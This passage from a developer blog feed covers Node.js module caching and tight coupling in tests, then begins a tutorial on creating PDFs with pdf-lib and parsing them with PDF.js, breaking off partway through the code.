&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;fastify&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;fastify&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)({ logger: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;route&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./route&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;register&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(route);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;response&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;inject&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    method: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;GET&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    url: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/?city=Seattle&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// use the assert module to verify the server&apos;s response&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;strictEqual&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(response.statusCode, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;strictEqual&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(response.payload, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;{&quot;weather&quot;:&quot;Rainy&quot;}&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;close&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this test, we don’t want to make an actual API call to the weather service, because it’s expensive. Instead, we want to mock the API call and return a fake weather response.&lt;/p&gt;
&lt;p&gt;However, if you run the test, you’ll see that it still logs the API call to the real weather service with a log entry in the test suite as follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Making an API call to https://api.example.com/weather &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Seattle&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What is actually happening is not entirely &lt;code&gt;config.js&lt;/code&gt; fault.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;service.js&lt;/code&gt; file, is a module too, and is also globally cached within the Node.js internal module cache. Taking a quick look again at the &lt;code&gt;service.js&lt;/code&gt; file, we can see that the &lt;code&gt;weatherApiUrl&lt;/code&gt; constant is defined in the global code of the file:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./config&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;weatherApiUrl&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; config.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;WEATHER_API_URL&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getWeather&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ({ &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;city&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, we’ve accessed the configuration and defined the API URL constant within the global module code of the &lt;code&gt;service.js&lt;/code&gt; file which means that now the &lt;code&gt;weatherApiUrl&lt;/code&gt; is cached too.&lt;/p&gt;
&lt;p&gt;The “module” terminology in Node.js is quite confusing here because of the singleton pattern that the CommonJS module system adheres to which creates an effect of “globals” in the application.&lt;/p&gt;
&lt;h2 id=&quot;what-to-do-next-to-avoid-tight-coupling-in-nodejs-applications&quot;&gt;What to do next to avoid tight coupling in Node.js applications&lt;/h2&gt;
&lt;p&gt;It’s easy to give in and write quick and functional code that works, but it’s much harder to write code that is maintainable and easy to change. Your future self will thank you for writing code that is more cohesive, testable, and over well well designed.&lt;/p&gt;
&lt;p&gt;Strive to write code that is loosely coupled. This means that the code should be easy to change without affecting other parts of the application. This is a common principle in software engineering and is often referred to as the &lt;em&gt;Open/Closed Principle&lt;/em&gt;. The Open/Closed Principle states that software entities (classes, modules, functions, etc.) should be open for extension, but closed for modification.&lt;/p&gt;
&lt;p&gt;Those two words that have been lingering in your head for the length of this article - &lt;em&gt;dependency injection&lt;/em&gt; - are the key to writing maintainable code in Node.js applications, but that is a whole other topic for another article.&lt;/p&gt;</content:encoded></item><item><title>How to Read and Parse PDFs with PDF.js and Create PDFs with PDF Lib in Node.js</title><link>https://lirantal.com/blog/how-to-read-and-parse-pdfs-pdfjs-create-pdfs-pdf-lib-nodejs/</link><guid>https://lirantal.com/blog/how-to-read-and-parse-pdfs-pdfjs-create-pdfs-pdf-lib-nodejs/</guid><description>If you&apos;re building LLM and AI-powered chatbots like me you might need to read and parse PDFs or create PDFs in Node.js. Here&apos;s how to do it with PDF.js and PDF Lib.</description><pubDate>Sun, 02 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You probably caught up on the title that we are going to mention two different npm packages to handle manipulation of PDF files in Node.js. That’s because the more popular option and the one that is more widely used and maintained - &lt;code&gt;pdf-lib&lt;/code&gt; is unfortunately unable to read data off of PDF files and only allows creating new PDFs or modify existing ones by adding pages, images, creating forms and such.&lt;/p&gt;
&lt;p&gt;So we’re going to split this write-up into those two parts and the respective npm packages that will be used for each task:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.npmjs.com/package/pdf-lib&quot;&gt;pdf-lib&lt;/a&gt; - for creating and modifying PDFs. This npm package receives regularly more than 500,000 downloads a week and is maintained by a single developer who updated it lastly around 3 years ago in July 2021.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.npmjs.com/package/pdfjs-dist&quot;&gt;pdfjs-dist&lt;/a&gt; - this one is the popular &lt;code&gt;PDF.js&lt;/code&gt; library that is maintained by the Mozilla team and is used by many other projects. It is more widely downloaded, at about 2 million weekly downloads and is updated more frequently, including provenance which is a great security feature to be utilized by library maintainers.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;how-to-create-pdfs-with-pdf-lib-in-nodejs&quot;&gt;How to Create PDFs with PDF Lib in Node.js&lt;/h2&gt;
&lt;p&gt;PDF creation with PDF Lib is very granular. You can create a new PDF document of a specific width and height, add pages, draw text, images and create or fill-in form elements.&lt;/p&gt;
&lt;p&gt;A simple PDF creation program in Node.js is as follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { PDFDocument, StandardFonts, rgb } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;pdf-lib&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; fs &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;node:fs/promises&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Create a new PDFDocument&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;pdfDoc&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; PDFDocument.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;create&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Embed the Times Roman font&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;timesRomanFont&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; pdfDoc.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;embedFont&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(StandardFonts.TimesRoman)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Add a blank page to the document&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;page&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; pdfDoc.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;addPage&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Get the width and height of the page&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;height&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getSize&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Draw a string of text toward the top of the page&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;fontSize&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;30&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;drawText&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Creating PDFs in JavaScript is awesome!&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  x: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  y: height &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; fontSize,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  size: fontSize,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  font: timesRomanFont,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  color: &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;rgb&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0.53&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0.71&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;})&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Serialize the PDFDocument to bytes (a Uint8Array)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;pdfBytes&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; pdfDoc.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;save&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// write to file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; fs.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;writeFile&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;./uploads/mal.pdf&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, pdfBytes)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Very simple, intuitive API. You can refer to the GitHub repository of the library to see more examples and use cases.&lt;/p&gt;
&lt;h2 id=&quot;how-to-read-and-parse-pdfs-with-pdfjs-in-nodejs&quot;&gt;How to Read and Parse PDFs with PDF.js in Node.js&lt;/h2&gt;
&lt;p&gt;Reading and parsing text off of PDF files is a bit more involved than it seems at first.&lt;/p&gt;
&lt;p&gt;The reason is that you can’t just read the entire contents of a PDF as one giant text strings because there’s granularity involved - pages. And so indeed, the PDF.js library is built around the concept of pages and you have to iterate over each page in the PDF file to extract the text from it.&lt;/p&gt;
&lt;p&gt;Here’s how you extract all the text from all pages in a PDF file:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; fs &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;node:fs/promises&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; path &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;node:path&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; pdfjsLib &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;pdfjs-dist/legacy/build/pdf.mjs&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;filePath&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;uploads/document.pdf&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;extractTextFromPDF&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;pdfPath&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Read the PDF file into a buffer and then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// parse it with PDF.js&lt;/span&gt;&lt;/span&gt;
